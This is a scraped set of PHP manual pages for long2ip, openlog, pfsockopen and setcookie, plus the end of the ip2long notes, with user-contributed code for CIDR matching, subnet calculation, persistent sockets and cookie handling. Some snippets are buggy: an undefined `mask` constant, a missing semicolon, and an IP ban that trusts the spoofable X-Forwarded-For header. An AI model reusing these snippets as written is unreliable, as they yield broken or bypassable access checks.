# isIpMask("255.255.255.0") -> return true
# isIpMask("24") -> return true
# isIpMask("5.5.5.5") -> return false
?>

[EDIT BY danbrown AT php DOT net:  Contains a fix provided by (greg AT netops DOT gvtc DOT com) on 19-Dec-2005.]
ken at expitrans dot com 01-Sep-2005 12:31
Below is a merged form of all various notes, and a better (and correct) network matching function.

<?php

function net_match($network, $ip) {
      // determines if a network in the form of 192.168.17.1/16 or
      // 127.0.0.1/255.255.255.255 or 10.0.0.1 matches a given ip
      $ip_arr = explode('/', $network);
      $network_long = ip2long($ip_arr[0]);

      $x = ip2long($ip_arr[1]);
      $mask =  long2ip($x) == $ip_arr[1] ? $x : 0xffffffff << (32 - $ip_arr[1]);
      $ip_long = ip2long($ip);

      // echo ">".$ip_arr[1]."> ".decbin($mask)."\n";
      return ($ip_long & $mask) == ($network_long & $mask);
}

echo net_match('192.168.17.1/16', '192.168.15.1')."\n"; // returns true
echo net_match('127.0.0.1/255.255.255.255', '127.0.0.2')."\n"; // returns false
echo net_match('10.0.0.1', '10.0.0.1')."\n"; // returns true

?>
tristram at ccteam dot ru 26-Jul-2005 03:33
<?php
if (!function_exists("ip2long"))
{
function ip2long($ip)
{
 $ip = explode(".",$ip);
 if (!is_numeric(join(NULL,$ip)) or count($ip) != 4) {return false;}
 else {return $ip[3]+256*$ip[2]+256*256*$ip[1]+256*256*256*$ip[0];}
}
}
?>
cam at wecreate dot com 20-Jul-2005 06:37
A simple function to compare two IP addresses against a netmask. Useful if you're locking down a web app with an IP address, but can't force the IPs to be exactly the same.

<?php
function ipcompare ($ip1, $ip2, $mask) {
    $masked1 = ip2long($ip1) & ip2long($mask); // bitwise AND of $ip1 with the mask
    $masked2 = ip2long($ip2) & ip2long($mask); // bitwise AND of $ip2 with the mask
      if ($masked1 == $masked2) return true;
      else return false;
}
?>

Examples:

<?php
  ipcompare("192.168.1.63","192.168.1.65","255.255.255.0") // true
  ipcompare("192.168.1.63","192.168.1.65","255.255.255.192") // false
?>
Paragina Silviu 12-Jul-2005 05:41
Note: ip2long and long2ip do not function as the c linux functions inet_addr and inet_ntoa. They store the long in reverse byte order (little endian vs big endian i guess).
For example you send 10.0.0.1 to inet_ntoa you take the long from the result and you pass it to long2ip  you get 1.0.0.10. You won't run into this issue unless you use a database both from c linux programs and php scripts.

My first idea was to reverse the long, but unfortunatley the long was stored as unsigned and i got a lot of problems doing calculations with it (some operations would work well others not; probably it was stored as float i do not know for sure...)

So my solution was

<?php
function str_rev_ip($str)
{
    $ar=explode(".",$str);
    return "$ar[3].$ar[2].$ar[1].$ar[0]";
}
?>

and i take the result from inet_ntoa and parse it as str_rev_ip(long2ip($var))
tomlove at gmail dot com 04-Jul-2005 01:09
A quick and efficient way to compare two IPs with a given mask:

<?php
function ipmatch ($ip1, $ip2, $mask) {
  if ((ip2long($ip1) & ~(pow(2, 32-$mask)-1)) == (ip2long($ip2) & ~(pow(2, 32-$mask)-1))) return true;
  else return false;
}
?>

Here's an application of it that selects the best IP given the choice of a (possibly private or invalid) forwarded address or a (possibly proxy) apparent address:

<?php
$a = $_SERVER['HTTP_X_FORWARDED_FOR'];
if ($a == '' || ipmatch($a, "10.0.0.0", 8) || ipmatch($a, "172.16.0.0", 12) || ipmatch($a, "192.168.0.0", 16) || ipmatch($a, "255.255.255.255", 32)) $ip = $_SERVER['REMOTE_ADDR'];
else $ip = $a;
?>

Or use it to ban people:

<?php
$banned_ip = '135.23.12.3';
if (ipmatch($ip, $banned_ip, 32)) die('BANNED!');
?>

The bitwise comparison the function uses can be done in SQL to do ban matches right in your database.
lawpoop at gmail dot com 07-Apr-2005 12:29
Here is a function that tells you if an ip address is in a CIDR range. However, the CIDR argument can be an array of CIDRs. This was created from other matchCIDR functions in the user notes.

<?php
function matchCIDR($addr, $cidr) {

        // $addr should be an ip address in the format '0.0.0.0'
        // $cidr should be a string in the format '100/8'
        //      or an array where each element is in the above format

        $output = false;

        if ( is_array($cidr) ) {

                foreach ( $cidr as $cidrlet ) {
                        if ( matchCIDR( $addr, $cidrlet) ) {
                                $output = true;
                        }
                }

        } else {

                list($ip, $mask) = explode('/', $cidr);

                $mask = 0xffffffff << (32 - $mask);

                $output = ((ip2long($addr) & $mask) == (ip2long($ip) & $mask));

        }

        return $output;
}
?>
mailNO at SPAMdapuzz dot com 13-Feb-2005 08:05
a little function to make a range in this form:
0.0.0.1/0.0.0.255          ==> 0.0.0.1/255
0.0.0.1/255.255.255.255    ==> 0.0.0.1/255.255.255.255

<?php
$primo = "62.4.32.0";
$ultimo = "62.4.63.255";
echo do_range($primo,$ultimo); //Example

function do_range($primo,$ultimo) {
list($a,$b,$c,$d)=explode(".",$primo);
list($e,$f,$g,$h)=explode(".",$ultimo);
if ($a !== $e) return "$primo/$ultimo";
else {
    if ($b !== $f) return "$primo/$f.$g.$h";
    else{
        if ($c !== $g) return "$primo/$g.$h";
        else {
            if ($d !== $h) return "$primo/$h";
            else return -1; //error
            }
        }
    }
}
?>
Please write me if you have any suggestion
frank at vista dot com 27-Jan-2005 02:43
remixing mediator's function further:
<?php
function matchCIDR($addr, $cidr) {
  list($ip, $mask) = explode('/', $cidr);
  return (ip2long($addr) >> (32 - $mask) == ip2long($ip) >> (32 - mask));
}
?>
01-Dec-2004 03:06
I re-wrote the functions from jbothe at hotmail dot com as a little exercise in OO and added a couple of extra functions.

<?php

 //--------------
// IPv4 class
class ipv4
{
  var $address;
  var $netbits;

   //--------------
  // Create new class
  function ipv4($address,$netbits)
  {
    $this->address = $address;
    $this->netbits = $netbits;
  }

   //--------------
  // Return the IP address
  function address() { return ($this->address); }

   //--------------
  // Return the netbits
  function netbits() { return ($this->netbits); }

   //--------------
  // Return the netmask
  function netmask()
  {
    return (long2ip(ip2long("255.255.255.255")
           << (32-$this->netbits)));
  }

   //--------------
  // Return the network that the address sits in
  function network()
  {
    return (long2ip((ip2long($this->address))
           & (ip2long($this->netmask()))));
  }

   //--------------
  // Return the broadcast that the address sits in
  function broadcast()
  {
    return (long2ip(ip2long($this->network())
           | (~(ip2long($this->netmask())))));
  }

   //--------------
  // Return the inverse mask of the netmask
  function inverse()
  {
    return (long2ip(~(ip2long("255.255.255.255")
           << (32-$this->netbits))));
  }

}

  $ip = new ipv4("192.168.2.1",24);
  print "Address: $ip->address()\n";
  print "Netbits: $ip->netbits()\n";
  print "Netmask: $ip->netmask()\n";
  print "Inverse: $ip->inverse()\n";
  print "Network: $ip->network()\n";
  print "Broadcast: $ip->broadcast()\n";
?>
DivineHawk 30-Oct-2004 09:38
For PHP5 I had to replace:
$mask_long= pow(2,32)-pow(2,(32-$ip_arr[1]));

-with-

$mask_long = 0xffffffff << (32 - $ip_arr[1]);

in dzver's IP_Match Function below.
mediator 02-Jun-2004 12:50
Another function for matching $_SERVER['REMOTE_ADDR'] against CIDR.
<?php
function matchCIDR($addr, $cidr) {
    list($ip, $mask) = explode('/', $cidr);
    $mask = 0xffffffff << (32 - $mask);
    return ((ip2long($addr) & $mask) == (ip2long($ip) & $mask));
}
?>
dzver 15-Apr-2004 02:12
Mix of rbsmith's function and pasted above url:

<?php
// returns 1 if $ip is part of $network

function IP_Match($network, $ip) {
    $ip_arr = explode("/",$network);
    $network_long=ip2long($ip_arr[0]);

    $mask_long= pow(2,32)-pow(2,(32-$ip_arr[1]));
    $ip_long=ip2long($ip);

    if (($ip_long & $mask_long) == $network_long) {
        return 1;
    } else {
        return 0;
    }
}

// usage

$network="200.100.50.0/23";
$ip="200.100.51.55";
$ip2="200.100.52.2";

echo IP_Match($network, $ip); //prints 1
echo IP_Match($network, $ip2); //prints 0
?>
jbothe at hotmail dot com 27-Nov-2003 08:01
The following script will print out subnet statistics when you supply the IP Address and Subnet Mask. Usefull to calculate the broadcast address and network address as well as the number of hosts and the range of IP addresses in the subnet.

#!/usr/local/bin/php
<?php
   $ip_addr = "172.14.1.57";
   $subnet_mask = "255.255.255.0";

   $ip = ip2long($ip_addr);
   $nm = ip2long($subnet_mask);
   $nw = ($ip & $nm);
   $bc = $nw | (~$nm);

   echo "IP Address:         " . long2ip($ip) . "\n";
   echo "Subnet Mask:        " . long2ip($nm) . "\n";
   echo "Network Address:    " . long2ip($nw) . "\n";
   echo "Broadcast Address:  " . long2ip($bc) . "\n";
   echo "Number of Hosts:    " . ($bc - $nw - 1) . "\n";
   echo "Host Range:         " . long2ip($nw + 1) . " -> " . long2ip($bc - 1)  . "\n";
?>

Produces the output:

IP Address:         172.14.1.57
Subnet Mask:        255.255.255.0
Network Address:    172.14.1.0
Broadcast Address:  172.14.1.255
Number of Hosts:    254
Host Range:         172.14.1.1 -> 172.14.1.254
daevid at daevid dot com 14-Oct-2003 06:23
<?php
function CalculateIPRange($iprange)
{
    // Daevid Vincent [daevid@daevid.com] 10.13.03
    //  This function will return an array of either a negative error code
    //  or all possible IP addresses in the given range.
    //  format is NNN.NNN.NNN.NNN - NNN.NNN.NNN.NNN  (spaces are okay)

    $temp = preg_split("/-/",$iprange, -1, PREG_SPLIT_NO_EMPTY);
    $QRange1 = $temp[0];
    $QRange2 = $temp[1];

    if ($QRange2 == "") return array($QRange1); //special case, they didn't put a second quad parameter

    //basic error handling to see if it is generally a valid IP in the form N.N.N.N
    if ( preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/",$QRange1) != 1 ) return array(-1);
    if ( preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/",$QRange2) != 1 ) return array(-1);

    $quad1 = explode(".",$QRange1);
    $quad2 = explode(".",$QRange2);

    reset ($quad1);
    while (list ($key, $val) = each ($quad1))
    {
         $quad1[$key] = intval($val);
         if ($quad1[$key] < 0 || $quad1[$key] > 255) return array(-2);
    }
    reset ($quad2);
    while (list ($key, $val) = each ($quad2))
    {
         $quad2[$key] = intval($val);
         if ($quad2[$key] < 0 || $quad2[$key] > 255) return array(-2);
    }

    $startIP_long = sprintf("%u",ip2long($QRange1));
    $endIP_long = sprintf("%u",ip2long($QRange2));
    $difference = $endIP_long - $startIP_long;
    //echo "startIP_long = ".$startIP_long." and endIP_long = ".$endIP_long." difference = ".$difference."<BR>";

    $ip = array();
    $k = 0;
    for ($i = $startIP_long; $i <= $endIP_long; $i++)
    {
        $temp = long2ip($i);

        //this is a total hack. there must be a better way.
        $thisQuad = explode(".",$temp);
        if ($thisQuad[3] > 0 && $thisQuad[3] < 255)
            $ip[$k++] = $temp;
    }

    return $ip;
} //CalculateIPRange()
?>
anderson at piq dot com dot br 07-Aug-2003 07:02
If you want to get the interface of an IP, based on the local route table, use this.

<?php
function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
?>
rbsmith 02-Jun-2003 03:29
Yet another word on IP_Match here is the complete functions
as described by php-net at dreams4net dot com on 08-Aug-2002 09:31

<?php
# determine if an IP address is within
# a particular network with mask
function IP_Match($network, $mask, $ip) {
    $ip_long=ip2long($ip);
    $network_long=ip2long($network);
    $mask_long=ip2long($mask);

    if (($ip_long & $mask_long) == $network_long) {
        return true;
    } else {
        return false;
    }
}
?>

Thank you, it is simple, fast, and best of all works!
phl AT cyways.com 23-Oct-2001 01:36
Here's a function I whipped up today to deduce some important network information given a hostname (or its IP address) and its subnet mask:

<?php
function find_net($host,$mask) {
   ### Function to determine network characteristics
   ### $host = IP address or hostname of target host (string)
   ### $mask = Subnet mask of host in dotted decimal (string)
   ### returns array with
   ###   "cidr"      => host and mask in CIDR notation
   ###   "network"   => network address
   ###   "broadcast" => broadcast address
   ###
   ### Example: find_net("192.168.37.215","255.255.255.224")
   ### returns:
   ###    "cidr"      => 192.168.37.215/27
   ###    "network"   => 192.168.37.192
   ###    "broadcast" => 192.168.37.223
   ###

   $bits=strpos(decbin(ip2long($mask)),"0");
   $net["cidr"]=gethostbyname($host)."/".$bits;

   $net["network"]=long2ip(bindec(decbin(ip2long(gethostbyname($host))) & decbin(ip2long($mask))));

   $binhost=str_pad(decbin(ip2long(gethostbyname($host))),32,"0",STR_PAD_LEFT);
   $binmask=str_pad(decbin(ip2long($mask)),32,"0",STR_PAD_LEFT);
   for ($i=0; $i<32; $i++) {
      if (substr($binhost,$i,1)=="1" || substr($binmask,$i,1)=="0") {
         $broadcast.="1";
      }  else {
         $broadcast.="0";
      }
   }
   $net["broadcast"]=long2ip(bindec($broadcast));

   return $net;
}
?>


Converts an (IPv4) Internet network address into a string in Internet standard dotted format

  • « ip2long
  • openlog »
  • PHP Manual
  • Network Functions
  • Converts an (IPv4) Internet network address into a string in Internet standard dotted format

long2ip

(PHP 4, PHP 5)

long2ip — Converts an (IPv4) Internet network address into a string in Internet standard dotted format

Description

string long2ip ( string $proper_address )

The function long2ip() generates an Internet address in dotted format (i.e.: aaa.bbb.ccc.ddd) from the proper address representation.

Parameters

proper_address

A proper address representation.

Return Values

Returns the Internet IP address as a string.

See Also

  • ip2long() - Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

User Contributed Notes

klawd at kamundo dot de 25-Jan-2012 07:34
Use these two functions to convert from and to numbers compatible to MySQLs INET_ATON and INET_NTOA
<?php
    function convertIpToString($ip)
    {
        $long = 4294967295 - ($ip - 1);
        return long2ip(-$long);
    }
    function convertIpToLong($ip)
    {
        return sprintf("%u", ip2long($ip));
    }
?>
Anonymous 05-Aug-2011 06:38
If you're running a 32 bit machine you can get wrong IPs. To prevent from this just cast to float e.g.

<?php
long2Ip32bit($ip){
   return long2ip((float)$ip);
}
?>
php dot net at davidstockton dot com 04-Sep-2008 07:28
Beware when processing values that are invalid, you may get values that are different based on the OS.  For instance:

$ip = long2ip(pow(2,32)+1024);

On windows you get 255.255.255.255.  On linux it's 0.0.4.0.

So it seems it would be important to make sure the long you're converting is in the correct range.
Gabriel Malca 17-Mar-2006 02:01
If the function doesn't exist:

<?
    if (!function_exists("long2ip")) {
        function long2ip($long) {
            // Valid range: 0.0.0.0 -> 255.255.255.255
            if ($long < 0 || $long > 4294967295) return false;
            $ip = "";
            for ($i=3;$i>=0;$i--) {
                $ip .= (int)($long / pow(256,$i));
                $long -= (int)($long / pow(256,$i))*pow(256,$i);
                if ($i>0) $ip .= ".";
            }
            return $ip;
        }
    }
?>
flobee 13-Feb-2005 11:50
when importing ip-ranges to a mysql database using an INT(10) field - NOTE: that you will get problems when using intval() function!

copied from "cleong" : 02-Oct-2001 02:21
intval() handles overflow differently depending on the type of the argument.
<?php
// intval('10000000000') = 2147483647
// intval(1e10) = 1410065408
?>
Tom Crosley 16-Feb-2003 10:13
I wanted to be able to pass an IP address in a URL always as an unsigned int.  I then converted it back as shown below:

$ip_addr = "192.168.100.25";  // example IP address that converts to neg #

$s32int = ip2long($ip_addr);

$us32str = sprintf("%u",$s32int);               // convert to unsigned string

// display orig IP address, signed 32 bit version, unsigned 32 bit ver,
// finally converted back to IP addr

printf("%s ,%d, %s, %s", $ip_addr, $s32int, $us32str,
         long2ip(-(4294967296-$us32str)));

// tested on Linux/Apache PHP 4.1.2


Open connection to system logger

  • « long2ip
  • pfsockopen »
  • PHP Manual
  • Network Functions
  • Open connection to system logger

openlog

(PHP 4, PHP 5)

openlog — Open connection to system logger

Description

bool openlog ( string $ident , int $option , int $facility )

openlog() opens a connection to the system logger for a program.

The use of openlog() is optional. It will automatically be called by syslog() if necessary, in which case ident will default to FALSE.

Parameters

ident

The string ident is added to each message.

option

The option argument is used to indicate what logging options will be used when generating a log message.

openlog() Options
Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
You can use one or more of this options. When using multiple options you need to OR them, i.e. to open the connection immediately, write to the console and include the PID in each message, you will use: LOG_CONS | LOG_NDELAY | LOG_PID

facility

The facility argument is used to specify what type of program is logging the message. This allows you to specify (in your machine's syslog configuration) how messages coming from different facilities will be handled.

openlog() Facilities
Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem

Note:

LOG_USER is the only valid log type under Windows operating systems

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • syslog() - Generate a system log message
  • closelog() - Close connection to system logger

User Contributed Notes

Nimja 30-Jul-2013 08:07
To those curious; switching between different facilities is NOT an issue. There is no apparent memory overhead (nor slowdown) by calling openlog multiple(12 * 10000) times.

Shown by this example:

<?php
$facilities = array(
    LOG_AUTH,
    LOG_AUTHPRIV,
    LOG_CRON,
    LOG_DAEMON,
    LOG_KERN,
    LOG_LOCAL0,
    LOG_LPR,
    LOG_MAIL,
    LOG_NEWS,
    LOG_SYSLOG,
    LOG_USER,
    LOG_UUCP,
);

for ($i = 0; $i < 10000; $i++) {
    foreach ($facilities as $facility) {
        openlog('test', LOG_PID, $facility);
        syslog(LOG_ERR, "This is a test: " . memory_get_usage(true));
    }
}
?>


Open persistent Internet or Unix domain socket connection

  • « openlog
  • setcookie »
  • PHP Manual
  • Network Functions
  • Open persistent Internet or Unix domain socket connection

pfsockopen

(PHP 4, PHP 5)

pfsockopen — Open persistent Internet or Unix domain socket connection

Description

resource pfsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )

This function behaves exactly as fsockopen() with the difference that the connection is not closed after the script finishes. It is the persistent version of fsockopen().

Parameters

For parameter information, see the fsockopen() documentation.

See Also

  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

zuraw 06-Jun-2012 09:17
pfsockopen() works great on IIS/Windows7 installation, it keeps connection open which is good for performance. However, there is one caveat: when connection is broken because of physical net failure, pfsockopen() returns handle as if connection was working. Subsequent call to fwrite() returns false so you have information about error. The problem is that after physical net connection is restored the situation doesn't change: pfsockopen() still returns handle and fwrite() returns false. In other words, PHP sticks to old connection that is not working (if you use fsockopen() instead, it will connect properly). Situation goes back to normal after 30 minutes when PHP closes unused connection.
The solution to this problem is to call fclose() on socket handle when fwrite() returns false.
k dot andris at gmail dot com 11-Dec-2008 07:22
To see if it's really a new connection, or a reused one, you can use ftell() - and see if ther's been any traffic on the connection. If it's more than 0, then it's a reused connection.
ludvig dot ericson at gmail dot com 27-Jul-2007 04:38
Confusion arises as to when PHP starts a new connection using all the
"persistent" versions of any function, and this depends entirely on how you
run your PHP.

In real CGI mode, that is, one process per script, persistent functions do the
exact same as their "temporary" equivalents. If you have a threaded Apache
MPM, this persistence will open a connection per thread, but not immediately.
Think of it as a single PHP instance for each thread.

If you run prefork, the MPM that forks the Apache server into several
accept()ing subprocesses, you'll have one PHP instance per process.

This isn't always true as I might've missed some gotchas, but in general, do
know that a persistent can only try to be persistent.

As for grey at greywyvern dot moc: A cronjob would be a lot better suited
for this, and have it periodically update the index rather than request ~200
pages each time somebody searches, at least from what you describe it as.
bimal dot das at maxartists dot com 07-Jun-2006 08:22
Here is how to POST a form action to a SSL server's cgi and retrieve output with pfsockopen

<?php

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

# working vars
$host = 'www.example.com';
$service_uri = '/cgi-bin/processACT';
$vars ='code=22&act=TEST';

# compose HTTP request header
$header = "Host: $host\r\n";
$header .= "User-Agent: PHP Script\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".strlen($vars)."\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = pfsockopen("ssl://".$host, 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
    fputs($fp, "POST $service_uri  HTTP/1.1\r\n");
    fputs($fp, $header.$vars);
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

?>
pulstar at ig dot com dot br 24-Sep-2003 01:15
Persistent connections either in socket or databases should be used only in servers where the limits are well defined. For example, the number of allowed connections in a database must be greater than the number of Apache's processes, or the connections will be refused by the database (this will surely occur if you use persistent connections). The same may occur with socket connections. This is up to the service configuration. In my opinion, persistent connections are useful only if you have total control over the one or more servers involved, like on a heavy loaded dedicated server for example, where the little gain in performance worth the use of such connections. Never use them in a shared server.
php dot net at domainofdarkness dot com 30-Jan-2001 12:26
OK, WRT to the p* functions opening a new connection when one already exists. It is my understanting that (under Apache anyways) this is on a per-process basis. If you do a 'ps auxw|grep httpd' on your server you will see more than one process. What p* does is make a p-connection on one of those processes only, the one that actually handles your request. Chances are that when you hit the page again it will be answered by a different process. I'm guessing if you keep hitting reload you'll get around to the original process again and there will be no error message or second connection open. Anyhow, this is true of all p* functions; they open not one connection per server, but one connection per server _process_.


Send a cookie

  • « pfsockopen
  • setrawcookie »
  • PHP Manual
  • Network Functions
  • Send a cookie

setcookie

(PHP 4, PHP 5)

setcookie — Send a cookie

Description

bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

setcookie() defines a cookie to be sent along with the rest of the HTTP headers. Like other headers, cookies must be sent before any output from your script (this is a protocol restriction). This requires that you place calls to this function prior to any output, including <html> and <head> tags as well as any whitespace.

Once the cookies have been set, they can be accessed on the next page load with the $_COOKIE or $HTTP_COOKIE_VARS arrays. Note, superglobals such as $_COOKIE became available in PHP 4.1.0. Cookie values also exist in $_REQUEST.

Parameters

All the arguments except the name argument are optional. You may also replace an argument with an empty string ("") in order to skip that argument. Because the expire argument is integer, it cannot be skipped with an empty string, use a zero (0) instead.

» RFC 6265 provides the normative reference on how each setcookie() parameter is interpreted.

name

The name of the cookie.

value

The value of the cookie. This value is stored on the clients computer; do not store sensitive information. Assuming the name is 'cookiename', this value is retrieved through $_COOKIE['cookiename']

expire

The time the cookie expires. This is a Unix timestamp so is in number of seconds since the epoch. In other words, you'll most likely set this with the time() function plus the number of seconds before you want it to expire. Or you might use mktime(). time()+60*60*24*30 will set the cookie to expire in 30 days. If set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes).

Note:

You may notice the expire parameter takes on a Unix timestamp, as opposed to the date format Wdy, DD-Mon-YYYY HH:MM:SS GMT, this is because PHP does this conversion internally.

path

The path on the server in which the cookie will be available on. If set to '/', the cookie will be available within the entire domain. If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain. The default value is the current directory that the cookie is being set in.

domain

The domain that the cookie is available to. Setting the domain to 'www.example.com' will make the cookie available in the www subdomain and higher subdomains. Cookies available to a lower domain, such as 'example.com' will be available to higher subdomains, such as 'www.example.com'. Older browsers still implementing the deprecated » RFC 2109 may require a leading . to match all subdomains.

secure

Indicates that the cookie should only be transmitted over a secure HTTPS connection from the client. When set to TRUE, the cookie will only be set if a secure connection exists. On the server-side, it's on the programmer to send this kind of cookie only on secure connection (e.g. with respect to $_SERVER["HTTPS"]).

httponly

When TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. It has been suggested that this setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers), but that claim is often disputed. Added in PHP 5.2.0. TRUE or FALSE

Return Values

If output exists prior to calling this function, setcookie() will fail and return FALSE. If setcookie() successfully runs, it will return TRUE. This does not indicate whether the user accepted the cookie.

Examples

Some examples follow how to send cookies:

Example #1 setcookie() send example

<?php
$value = 'something from somewhere';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value, time()+3600);  /* expire in 1 hour */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", "example.com", 1);
?>

Note that the value portion of the cookie will automatically be urlencoded when you send the cookie, and when it is received, it is automatically decoded and assigned to a variable by the same name as the cookie name. If you don't want this, you can use setrawcookie() instead if you are using PHP 5. To see the contents of our test cookie in a script, simply use one of the following examples:

<?php
// Print an individual cookie
echo $_COOKIE["TestCookie"];
echo $HTTP_COOKIE_VARS["TestCookie"];

// Another way to debug/test is to view all cookies
print_r($_COOKIE);
?>

Example #2 setcookie() delete example

When deleting a cookie you should assure that the expiration date is in the past, to trigger the removal mechanism in your browser. Examples follow how to delete cookies sent in previous example:

<?php
// set the expiration date to one hour ago
setcookie ("TestCookie", "", time() - 3600);
setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", "example.com", 1);
?>

Example #3 setcookie() and arrays

You may also set array cookies by using array notation in the cookie name. This has the effect of setting as many cookies as you have array elements, but when the cookie is received by your script, the values are all placed in an array with the cookie's name:

<?php
// set the cookies
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// after the page reloads, print them out
if (isset($_COOKIE['cookie'])) {
    foreach ($_COOKIE['cookie'] as $name => $value) {
        $name = htmlspecialchars($name);
        $value = htmlspecialchars($value);
        echo "$name : $value <br />\n";
    }
}
?>

The above example will output:

three : cookiethree
two : cookietwo
one : cookieone

Changelog

Version | Description
5.5.0 | A Max-Age attribute is now included in the Set-Cookie header sent to the client.
5.2.0 | The httponly parameter was added.

Notes

Note:

You can use output buffering to send output prior to the call of this function, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files.

Note:

If the PHP directive register_globals is set to on then cookie values will also be made into variables. In our examples below, $TestCookie will exist. It's recommended to use $_COOKIE.

Common Pitfalls:

  • Cookies will not become visible until the next loading of a page that the cookie should be visible for. To test if a cookie was successfully set, check for the cookie on a next loading page before the cookie expires. Expire time is set via the expire parameter. A nice way to debug the existence of cookies is by simply calling print_r($_COOKIE);.
  • Cookies must be deleted with the same parameters as they were set with. If the value argument is an empty string, or FALSE, and all other arguments match a previous call to setcookie, then the cookie with the specified name will be deleted from the remote client. This is internally achieved by setting value to 'deleted' and expiration time to one year in past.
  • Because setting a cookie with a value of FALSE will try to delete the cookie, you should not use boolean values. Instead, use 0 for FALSE and 1 for TRUE.
  • Cookies names can be set as array names and will be available to your PHP scripts as arrays but separate cookies are stored on the user's system. Consider explode() to set one cookie with multiple names and values. It is not recommended to use serialize() for this purpose, because it can result in security holes.

Multiple calls to setcookie() are performed in the order called.

See Also

  • header() - Send a raw HTTP header
  • setrawcookie() - Send a cookie without urlencoding the cookie value
  • cookies section
  • » RFC 6265
  • » RFC 2109

User Contributed Notes

ellert at vankoperen dot nl 11-Jul-2014 07:58
Caveat: if you use URL RewriteRules to get stuff like this: domain.com/bla/stuf/etc into parameters, you might run into a hickup when setting cookies.
At least in my setup a change in one of the parameters resulted in the cookie not being 'there' anymore.
The fix is simple: specify the domain. '/' will usualy do fine.
jbouvet at absolunet dot com 16-Oct-2013 11:46
When deleting a cookie that was set in Javascript, add the path to the setcookie function, like so :

setCookie('cookie_name', '', time()-3600, '/');
herrkampfgarten at gmail dot com 11-Oct-2012 05:08
Please note that setting the expiry to some timestamp in the past is a common way to get rid of a cookie. However, depending on the value you might set to "invalidate" a cookie immediately, this may pose a threat to the privacy of your user's data, especially when it comes to session cookies.

If you write "0" and "expire-in-the-past" into a session cookie, it remains on the client-side until the clean-up mechanism of the browser hits. (That might be anything from no-time to a very long time. I'm not even thinking of app-based mobile browsers that won't close properly or do their best to ignore standards and RFCs and stuff...)

So, if you have sufficiently messed up your ways of picking up existing session IDs and write-closing their data to your server, the session's data might move from file "sess_(random)" to "sess_0", because that is exactly the identifier that is referred in the cookie.

From now on (at least until your server decides to clean up) there is data laying open wide to anyone requesting the session "0". Which may happen by accident (i.e. another user gains an own "0"-cookie) or malice (i.e. forgery).

Long story short, ALWAYS use an empty string instead of a "0" value for invalidating a session cookie.
walterquez 29-Sep-2012 01:43
Instead of this:
<?php setcookie( "TestCookie", $value, time()+(60*60*24*30) ); ?>

You can this:
<?php setcookie( "TestCookie", $value, strtotime( '+30 days' ) ); ?>
danielpopescu93 at gmail dot com 30-Aug-2012 11:43
Hei, so here is what problem I had, maybe it will help someone in the future:
I couldn't delete a cookie, not even set it a different value. I think that is because it had a name following the rule FirstSecondThird. So it had uppercase letters.
After I modified the name everithing worked.

Another note:
Just for safety you should put what you want to put in the cookie in a var first.
Bachsau 26-Jun-2012 10:49
Want to remove a cookie?

Many people do it the complicated way:
setcookie('name', 'content', time()-3600);

But why do you make it so complicated and risk it not working, when the client's time is wrong? Why fiddle around with time();

Here's the easiest way to unset a cookie:
setcookie('name', 'content', 1);

Thats it.
vanclute at gmail dot com 11-Sep-2011 08:05
I have been tearing my hair out wondering why a cookie would not delete.  Despite countless discussions of reasons this can happen all over the internet, none of them addresses my case.  Here is what was happening:

My cookies have been formed kindof as an array, and the name of the cookie to be deleted is being passed in a variable, so I was using this to attempt to delete the cookie (stripped to the minimum for simplicity of the example):

<?php
    setcookie("$cookiename[id]");
?>

But it simply would not work.  Ultimately what DID work was this:

<?php
    setcookie($cookiename."[id]");
?>

So I had to concatenate the variable to the "element id" and then the cookies deleted without any issue.

I hope this saves someone else from a sleepless night!!

Jonathan
mkmohsinali at gmail dot com 28-Jul-2011 08:01
#cookies.php
/*This code will demonstrate use of cookies with PHP
It is very easy to understand and is better for beginner to
understand and get idea about power of cookies when used
